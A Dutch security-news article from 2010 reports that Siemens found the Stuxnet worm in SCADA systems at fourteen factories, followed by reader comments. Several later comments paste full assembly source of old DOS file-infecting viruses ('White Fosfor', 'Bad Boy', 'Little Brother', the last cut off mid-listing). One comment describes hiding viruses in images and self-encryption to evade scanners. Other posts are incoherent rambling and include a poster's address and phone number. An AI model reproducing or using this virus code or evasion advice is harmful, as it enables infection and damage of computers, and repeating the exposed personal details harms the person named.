image

Siemens vindt Stuxnet-worm in 14 fabrieken

donderdag 16 september 2010, 11:13 door Redactie, 33 reacties

De Stuxnet-worm, één van de gevaarlijkste internetwormen in de geschiedenisl, is door Siemens bij veertien fabrieken aangetroffen. "We hebben het virus in de SCADA [supervisory control en data acquisition] systemen van veertien fabrieken aangetroffen, zonder storing aan processen en schade", zegt woordvoerder Simon Wieland.

Eenmaal geïnstalleerd gebruikt Stuxnet de standaard Siemens wachtwoorden om toegang tot systemen te krijgen waarop WinCC en PCS 7 programma's draaien. Deze PLC (programmable logic controller) programma's worden gebruikt voor het beheren van grootschalige industrie systemen in fabrieken, militaire installaties, chemische fabrieken en energiebedrijven.

Rootkit
Stuxnet stuurt informatie over de configuratie van het Siemens systeem terug naar een Command & Control server. Vervolgens kunnen de aanvallers een doelwit uitkiezen en het zelfs herprogrammeren. Dit zou echter bij Siemens niet zijn voorgekomen. De worm is voorzien van een rootkit. Zelfs als de Windows onderdelen van de worm zijn verwijderd, kan de rootkit nog steeds actief zijn. Symantec adviseert bedrijven dan ook om de code van hun PLCs goed te controleren of een veilige back-up terug te zetten.

De eerste versies van de Stuxnet code dateren van juni 2009, maar volgens experts begonnen de aanvallen pas begin dit jaar. "We hebben nog nooit zoiets als dit gezien", zegt Liam O'Murchu van Symantec. "Het feit dat het de manier waarop fysieke machines kan besturen is erg verontrustend." Wie er achter Stuxnet zit is nog steeds onbekend, maar Roel Schouwenberg van Kaspersky vermoedt dat het om een land gaat.

Toekomst
Tijdens de Virus Bulletin conferentie later deze maand wordt er uitgebreid over Stuxnet gesproken. "Veel aspecten van deze dreiging zijn nog niet publiek bekend, maar we denken dat ze enorme gevolgen voor de beveiligingsindustrie hebben en ongetwijfeld in een toekomstig dreigingslandschap vaker zullen voorkomen", aldus O'Murchu.

Reacties (33)
16-09-2010, 11:40 door spatieman
om een land gaat.
china?
16-09-2010, 12:21 door Anoniem
Heb echt nog nooit begrepen waarom ze dat soort systemen in een netwerk hangen....
16-09-2010, 12:32 door U4iA
Ik neem aan dat dat soort computers NOOIT met het internet mag communiceren, dus in de ACL van een firewall staat vast ergens dat iets getriggered moet worden. Ik snap het beheer bij sommige bedrijven niet zo goed met computers die zo'n belangrijke functie vervullen of denk ik te simpel?
16-09-2010, 12:55 door Anoniem
deze toestellen moeten soms wel toegang tot inet hebben, voor remote management etc... men kan dit allemaal mooi afschermen dmv firewalls en vlans etc... maar het probleem dat ik elke dag tegenkom bij elke klant, is wanneer ik dit uitleg, men altijd redeneert van : "zeg, dat kost heel veel geld die security... en zeg, wat is nu de kans dat wij gehacked worden 0_o" dan zeg ik : whatever.... als klanten gierig zijn kan ik ook niet helpen
16-09-2010, 13:38 door Anoniem
Deze machines MOCHTEN nooit met het Internet communiceren, maar in de tijd van outsourcing, thuiswerken, central monitoring, etc worden deze netwerken gewoon met andere netwerken verbonden. Een foutje in de routering, architectuur en/of configuratie is voldoende.

Overigens is SCADA gewoon de volgende cashcow voor bedrijven die zich met beveiliging bezig houden. Je kunt je sinds enkele jaren al certificeren op SCADA beveiliging. Het wachten is op een organisatie (a la PCI) die certificatie van SCADA systemen verplicht stelt voor levering aan [vul hier je favoriete markt in] waardoor de security markt weer een volgende impuls krijgt.
16-09-2010, 13:53 door Tubamaniak
Ben het helemaal met anoniem en u4ia eens. De beste beveiliging is : 1.) geen internet !! 2.) geen i/o devices als floppy drives, usb aansluitingen, netwerken bedraad/draadloos enzo, werkzaam nadat het systeem eenmaal in werking is gesteld.
16-09-2010, 15:59 door Anoniem
best terug met ponskaarten werken
16-09-2010, 19:34 door Anoniem
Door Tubamaniak: Ben het helemaal met anoniem en u4ia eens. De beste beveiliging is : 1.) geen internet !! 2.) geen i/o devices als floppy drives, usb aansluitingen, netwerken bedraad/draadloos enzo, werkzaam nadat het systeem eenmaal in werking is gesteld.

Prima terug naar de steentijd...
Ga jij lekker een brief schrijven of nog moderner en typen of je state of the art typemachine waarvan je de lint net vervangen hebt. Dan de wandeling naar de brievenbus door weer en wind. Vervolgens wachten op het postorderbedrijf. Dagje afwachten op een antwoord, koekeloerend achter je geraniums of de postbode al aankomt. En ja daar komt tie ... drie dagen verder. Lekkere workflow ... een bedrijf heeft hier geen tijd voor.

Echt weer een huis-tuin-keuken argument!
16-09-2010, 19:56 door Anoniem
Tubamaniak, je bent duidelijk nog nooit in een fabriek geweest. In fabrieken communiceren de SCADA systemen namelijk gewoon via ethernet met de PLC's. Of je dat LAN dan ook verbind met het internet of niet is een vraag apart.

Overigens is voor verbinden met internet ook wat te zeggen: Als de fabriek dan 's nachts in de soep draait kan het zelfstandig de juiste personen oppiepen.

Wat betreft USB: Ongevaarlijk. Je moet namelijk de fabriek in om er wat mee te doen. En dat gaat niet zomaar. Daarbij kun je ook het flashkaartje uit een PLC trekken en er een nieuwe binary op zetten. Met andere woorden: Zodra er lokale toegang is is het toch wel gedaan.
16-09-2010, 22:23 door wimbo
Door Anoniem: best terug met ponskaarten werken
Voor ponskaarten zijn er ongetwijfeld andere (real-life) bugs die daar kwaad kunnen. Is weer een markt voor de exterminators :-)
17-09-2010, 09:56 door Dev_Null
Beelden van "The Net" doemen weer op :-)
http://movies.yahoo.com/movie/1800243172/details
17-09-2010, 12:03 door Anoniem
Hoe weet je of je stuxnet besmet bent?
17-09-2010, 22:32 door Anoniem
Geeft je ernstig te denken als je hier bij optelt dat als ik het goed vernomen had de amerikaanse overheid aan bv. cisco verplicht om achterdeuren in hun apparatuur mee te bouwen.
24-09-2010, 04:49 door Anoniem
Het schijnt om een verfijnde stuxnet-1 te gaan die in 2008 al was getraceerd, het zou me niet verbazen dat er opdracht is verkregen vanuit washington om deze attack via Siemens-engineers te laten injecteren. Daar liggen de blueprints, dus ik zou zeggen, neem een bezoekje in Dresden en Hamburg, there where it was born. Deze keys liggen echt niet op straat. Er zal wel iemand intern corrupt zijn en waar veel geld(macht) mee gemoeid is.
25-09-2010, 11:45 door Anoniem
Ik kan em niet vinden, wie heeft het virus stuur maar op dan analiseer ik em wel!

schepsel@upcmail.nl
25-09-2010, 18:14 door Anoniem
Ik wacht rustig af...

10
9
8
7
6
5
4
3
2
1

Meltdown. Hebben we daar wereld wijd last van? Zoeen rector smelt toch dwars door de aarde en komt er aan de ander kant weer uit. Wat ligt er eigenlijk aan de andere loodrechte kant van Iran? Verdorie das de oceaan loopt dat gat vol met water koelt de aard core af en boem weg Aarde...

Tja kunnen ze beter iets anders proberen!
25-09-2010, 19:37 door Anoniem
Hier krijgen ze spijnt van!
26-09-2010, 04:45 door Anoniem
stop!
27-09-2010, 19:45 door Anoniem
Ok ze weten nu wie ik ben en attakeren via internet en kabel-tv UPC amsterdam. Sukkels weten niet dat ik alles klaar had staan en alles opneem. Ook heb ik vanaf 2002 alle door hun gekopieerde DVD opgeslagen als bewijs tegen FTD nederland. Ook is men kabel HD decoder voorzien van een 250 GB HD die ook Kanaal 71 (ned 1) en kanaal 606 (VH1) al sinds het begin opneemt . Af en toe popt er een demoontje op, sukkels weten niet dat ik alles opsla op DVD9 en dus men UPC HD decoder. Bewijs voor een rechtzaak die binnenkort komt tegen FTD daarom heb ik alles bewaard.

Mijn systeem is een dual xenon quadcore (intel D5400XS. Ik werk met WINDOWS 7 64bit en heb Norton antivirus en Windows Defender draaien. Kom daar maar eens door ;-) Firewall is van norton (symantec). Dus met Gates en Norton achter me moet het lukken!

Gr Rudi alias Michael!
27-09-2010, 19:54 door Anoniem
Ik was de jongste programmeur bij Elsevier team boeken 17 pfff 30 jaar geleden. Opleiding bij Volmac Utrecht Hoog caterijne zit er nog geloof ik. Wat inhield PL/1 program language One van IBM verders extracto en uiteraard dl/1 en job control jcl. werkte met IBM mainfraames eerst 360 later 370. VM virtual machines.

EN dat allemaal onder de knie met 18 jaar. Ik heb de slibs gemaakt die in de boeken van Elsevier zitten. Was mijn progje. Overal in elke zaak zie je dan je werk das leuk :-)

21ste gestopt en sindien is alles hier op de Ookmeerweg 251-3 1069 MS Amsterdam 0617383985.

Hack IRAN! =;-)
27-09-2010, 20:03 door Anoniem
Mobiel is overigens KPN omdat VODAFONE de chip van met Ipad leverdevoor 99 cent die overigens niet eens past in men 64 GB iPad. Die voor Michael Jacksom bestemd was. Leuke was de Genious funktie die alles bij hield wat en wie kochten. Ik pompte ineens 30 GB aan liedje omhoog en heb die gegegeniousd. Viel die lul bij Apple van zen stoel denk ik hahha. Op naam van moeders credit card en adres heb ik ze om de tuin kunnen leiden om het hoesje te krijgen. en toen ik op het touch screen drukte kreeg ik het liedje THIS IS IT van wijlen MJ te horen hij is is de enige die verschijnt met zoeen raar teken, nucleair?

Begint ie te zingen dat ie 1000 jaar gaat Regeren hahaha Nou Adolf hebben we al gehad en dit klusje is zo klaar!!!

Greetz,

Mike.
27-09-2010, 20:06 door Anoniem
Overigens heb ik die bacterie niet geschreven dat hebben de jonkies gedaan. Ik kwam wel op het idee stom misschien maar de boel platbombederen leek me gevaarlijker!

M.
27-09-2010, 20:13 door Anoniem
Tevens heb ik 2 dvds die films zouden moeten zijn maar waarin 1 een vinger naar me wijst en de 2de gore felatie enz laat zien ook belangrijk voor de rechtzaak! vreemd was het ook dat ik wel de troonrede kon zien (projectiel zag ik later pas in de herhaling). Hou die gozer maar goed vast die hoort bij FTD. Ik heb honderden dvd's liggen met een zaak die appeltje eitje zou moeten zijn...

Wel heel grappig dit allemaal was lid van FTD sinds 2002. en aangezien downloaden mag in nederland. Ik brande ze voor mijn broer J.J. Veldkamp Ex sergant LUA en sportinstructeur later Media Expresse en nadat M E niet meer bestaat weer spotinstructeur. Hij woont in Nijverdal en kan dit alles bevestigen.

Ik ga weer kijken of ze weer Demoontje naar me sturen. Alsof ik daar bang voor moet zijn.

GR,

VR! Rust en Vrede (ken je bijbel). Virtual Reality!
09-10-2010, 17:08 door Anoniem
De oplossing zit in de DNA van de bacterie..
09-10-2010, 17:57 door Anoniem
DNA is een download programma te verkrijgen bij www.asus.nl (volg de links).

DesoxyriboNucleineAcid

Oftwel de dubbele Helix.

Een Bacteria (kan muteren) en is daarom niet uit te schakelen als het wordt gelanceerd!

Have Fun...

P.s Wat heeft een mens als hij alle rijkdom op aard vergaart maar zijn ziel verliest? (zie Bijbel voor antwoord)

Grtz,

Rudi alias Skywalker alias Michael alias Schepsel.
10-10-2010, 08:01 door Anoniem
Hier een voorbeeld:

****************************************************************************
;* White Fosfor, By Lord Idur (R) (C) 2006.
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* ;This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************

cseg segment
assume cs:cseg,ds:cseg,es:nothing

.RADIX 16

FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8


;****************************************************************************
;* Install the program!
;****************************************************************************

org 100h

begin: cld

mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb

mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw

push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h

cancel: ret


;****************************************************************************
;* File-extensions
;****************************************************************************

EXE_txt db 'EXE',0
COM_txt db 'COM',0


;****************************************************************************
;* Interupt handler 24
;****************************************************************************

ni24: mov al,03
iret


;****************************************************************************
;* Interupt handler 21
;****************************************************************************

ni21: pushf
push dx
push bx
push ax
push ds
push es

cmp ax,4B00h ;execute ?
jne exit

doit: call infect

exit: pop es
pop ds
pop ax
pop bx
pop dx
popf

jmp dword ptr cs:[oi21] ;call to old int-handler


;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************

infect: cld

mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds

mov ah,2Fh ;get old DTA
int 21
push es
push bx

push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21

call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com

mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return

do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext

mov ax,3300h ;get ctrl-break flag
int 21
push dx

cwd ;clear the flag
inc ax
push ax
int 21

mov ax,3524h ;get int24 vector
int 21
push bx
push es

push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21

lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle

push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf

mov ah,3Eh ;close the file
int 21

popf
jz return1 ;all bytes written?

lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21

return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21

pop ax ;restore ctrl-break flag
pop dx
int 21

mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file

return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21

ret

do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file


;****************************************************************************
;* Find the file
;****************************************************************************

findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret


;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************

change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret


;****************************************************************************
;* search begin of extension
;****************************************************************************

searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret


;****************************************************************************
;* Text and Signature
;****************************************************************************

db 'White Fosfor',0

end:

cseg ends
end begin


Dit is een ViRus! Oudje maar werkt wel als deel van de Worm STUXNET denk ik?

GRTZ www.immortaldaemonkillers.com or .nl
10-10-2010, 14:12 door Anoniem
Hoe plaats je het virus?

Makkelijk met een plaatje (.gif) zie www.msgtag.com en vraag die boys hoe ze dat doen. Ieder plaatje kan een virus bevatten die je dan verteld of en waar het geopend is.

Zogauw dus je target (iran) je plaatje bekijkt is hij besmet. Trojan.

Dan het activeren, simpel een datum als vandaag 101010 (binary 82=8+2=10 decimal just kidding) en het gaat draaien...

Versleutelen: Om een virus ongrijpbaar te maken moet hij zichzelf (zijn id veranderen) dit doe je via auto-encryptie. Elke keer als het virus springt van computer naar computer of beter bestand .exe .com or .whatever voert hij zijn autoencryptie uit. Het virus is dan dus niet meer te herkennen door (virus) scanners. Het lijk wel iets heel anders (broncode heb ik). Dus kan hij lekker doorgaan met het opeten (wurm, oftewel worm) van bestanden (delete).

Dit is wat draait in pakistan, iran enz en zelfs al in holland.

Hoe te stoppen:

In het virus een einddatum inbouwen. Dit kan dus alleen door de Programmeur! of via een backdoor het signaal geven dat het wel genoeg is geweest. Niemand wil toch een meltdown!

Ik weet niet wat the BOYS hebben gedaan maar denk dat het wel save zit, hackers, crackers, slackers, enz willen de planeet redden, niet vernietigen...

Ik heb vertrouwen, in GOD, myzelf en alle hackers in de wereld.

Just enjoy this day 10/10/2010 it´s sunny here go have a beer or red wine en let it roll

do not worry be happy!

Greetz to Mike, Billy, The Devils Own, 666 Kevin Mitnick, All the boys and galls at WWW.IDK.Nl thanx ImmortallDaemonKillers. SeeYa Soon.

TMOAH, The Mother of all Hackers, alias etc!
10-10-2010, 19:38 door Anoniem
En dan zijn er nog Zombies en mijn Bacteria. Zie voor het land Bacteria, Charlie Chaplins film over de 1ste en 2de Wereld oorlog.

Zombies (dead men walking) besmette computers over de hele wereld geschatte aantal 1 miljard of meer. De zombies worden ingezet om aanvallen te plegen op grote (wat is groot vandaag de dag) systemen. Ping em to Death ;-)

Zie immortaldaemonkiller.nl (binnenkort kan je zien als de site (under construction) omhoog gaat of je een Zombie bent). Kijk voor een medicijn op http://www.whitehouse.gov/files/documents/healthcare-fact-sheets/oh.pdf

En nu even een HHHtje Heerlijk Helder Heineken, ff weg van het WWW (wildwildwest liedje van euh just f*k*n GOOGLE it ;-)

19:30u al (ik wacht op 10/10/(20)10 10(22)u 10min 10 seconden precies lijkt me wel interresant want kwam 2 keer voor vandaag...vanmorgen niet gemist, ikke dan hahaha.

L8r Gator In a while Crocodile!
14-05-2011, 17:42 door Anoniem
Zeg niet dat ik niet gewaarschuwd heb!

Rudi.

Het werd Japan bijna meltdown dat stuxnet zal wel meevallen en werd overgebracht door usb sticks. Weten we wel gelijk dat Siemens (die moffen weer) de spullen aan Iran en Pakistan geleverd hebben....

Groetjes,

Rudi Veldkamp aka Skywalker aka Lord Idur, may the Farce be with U ;-)
04-06-2011, 20:32 door Anoniem
Nu wordt het al wat zwaarder: Bad Boy:

code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1

curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?

;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e

dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e


;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
add bx,2
loop mod_1_lp1
ret

;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check

mov es,cs:[2] ;memory size
mov di,100
mov si,100
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[table+06] ;if install, jump to module 4

mod_2_install:
;instalation

mov ax,cs
dec ax
mov ds,ax

cmp byte ptr ds:[0],'Z'
je mod_2_cont

jmp word ptr cs:[table+6] ;if no last MCB - go to mod4


mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds

mod_2_mut:
mov byte ptr cs:files,0

mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory

mov bx,word ptr cs:[table]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method

mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset table
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2

jmp word ptr cs:[table+4] ;go to module 3

mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset table
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret

;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax

mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax

mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec

mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec

mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax

mod_3_setvec:
cli
mov ax,word ptr es:[table+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti

mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;

jmp word ptr cs:[table+06] ;go to module 4

;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[table+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100

cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;

;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
xor di,di
mov ds,di
cli
mov di,word ptr cs:[oldint21]
mov ds:[4*21],di
mov di,word ptr cs:[oldint21+2]
mov ds:[4*21+2],di
sti

ret

db 'Make me better!'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0

;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax

cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[table+0a] ;
cli ;
mov ds:[4*24],ax ;
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds

mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[table+0e] ;
pushf
mov ah,3e ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex

push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;

mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx

jmp cs:oldint21

;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp

push bx
mov ax,1220
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx

mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit

mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W

mov ax,es:[di+11]
mov cs:fsize,ax ; save file size

mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;

push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit

mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit

mod_8_cnt2:
push es
push di
push cs ;
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
mov cx,0bh ;
repe cmpsb ;
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0

push es
push di
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es

mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si

push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;

ret

mod_8_cont:
push bx
call word ptr cs:[table] ; code virus
pop bx

mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;

pushf
push bx
call word ptr cs:[table] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
mov ax,word ptr cs:[table+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;

mov dx,offset myend+1
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file

ret

mod_8_cont_end:
mov ax,5701 ;
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;

inc cs:files
cmp cs:files,0a
jne mod_8_ext
call word ptr cs:[table+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret

;---------------------------------------------------------------

myend db 0

int 20 ;code of infected file

false_mod_1:
mov word ptr cs:[table],offset mod_1
ret

code ends
end start

Peace of Cake Easy as Pi
04-06-2011, 20:50 door Anoniem
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************

cseg segment
assume cs:cseg,ds:cseg,es:nothing

.RADIX 16

FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8


;****************************************************************************
;* Install the program!
;****************************************************************************

org 100h

begin: cld

mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb

mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw

push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h

cancel: ret


;****************************************************************************
;* File-extensions
;****************************************************************************

EXE_txt db 'EXE',0
COM_txt db 'COM',0


;****************************************************************************
;* Interupt handler 24
;****************************************************************************

ni24: mov al,03
iret


;****************************************************************************
;* Interupt handler 21
;****************************************************************************

ni21: pushf
push dx
push bx
push ax
push ds
push es

cmp ax,4B00h ;execute ?
jne exit

doit: call infect

exit: pop es
pop ds
pop ax
pop bx
pop dx
popf

jmp dword ptr cs:[oi21] ;call to old int-handler


;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************

infect: cld

mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds

mov ah,2Fh ;get old DTA
int 21
push es
push bx

push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21

call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com

mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return

do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext

mov ax,3300h ;get ctrl-break flag
int 21
push dx

cwd ;clear the flag
inc ax
push ax
int 21

mov ax,3524h ;get int24 vector
int 21
push bx
push es

push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21

lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle

push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf

mov ah,3Eh ;close the file
int 21

popf
jz return1 ;all bytes written?

lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21

return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21

pop ax ;restore ctrl-break flag
pop dx
int 21

mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file

return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21

ret

